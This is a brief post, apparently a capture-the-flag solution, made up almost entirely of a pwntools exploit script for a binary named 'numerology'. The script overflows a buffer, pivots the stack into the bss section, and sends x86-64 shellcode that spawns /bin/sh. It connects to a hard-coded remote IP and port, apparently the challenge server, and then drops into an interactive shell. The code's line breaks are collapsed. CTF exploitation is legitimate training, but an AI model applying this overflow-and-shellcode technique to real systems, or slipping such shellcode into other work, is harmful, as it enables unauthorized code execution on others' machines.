Looks like an unexpected solution...
```python# -*- coding: UTF-8 -*-from pwn import *import sysimport time
context.arch = 'amd64'context.terminal = ['tmux','splitw','-h']exec_file = './numerology'if len(sys.argv) == 2:    if sys.argv[1] == 'debug':        gdb_debug = True        p = gdb.debug(exec_file,'b *0x401479\nc\n')    elif  sys.argv[1] == 'remote':        p = remote('143.255.251.233','13373')else:    p = process(exec_file)
def debug():    if gdb_debug:        gdb.attach(p,"b main\nc\n")        pause()
elf = ELF('./numerology')
new_stack = elf.bss() + 0x300p.sendline('A' * 28 + p64(new_stack) + p64(0x4013BA))shellcode = asm('''xor 	rsi,	rsi			push	rsi				mov 	rdi,	0x68732f2f6e69622f	 push	rdipush	rsp		pop	rdi				mov 	al,	59			cdq					syscall''')p.sendline(shellcode.ljust(36,'\x00') + p64(0x404310))
p.interactive()```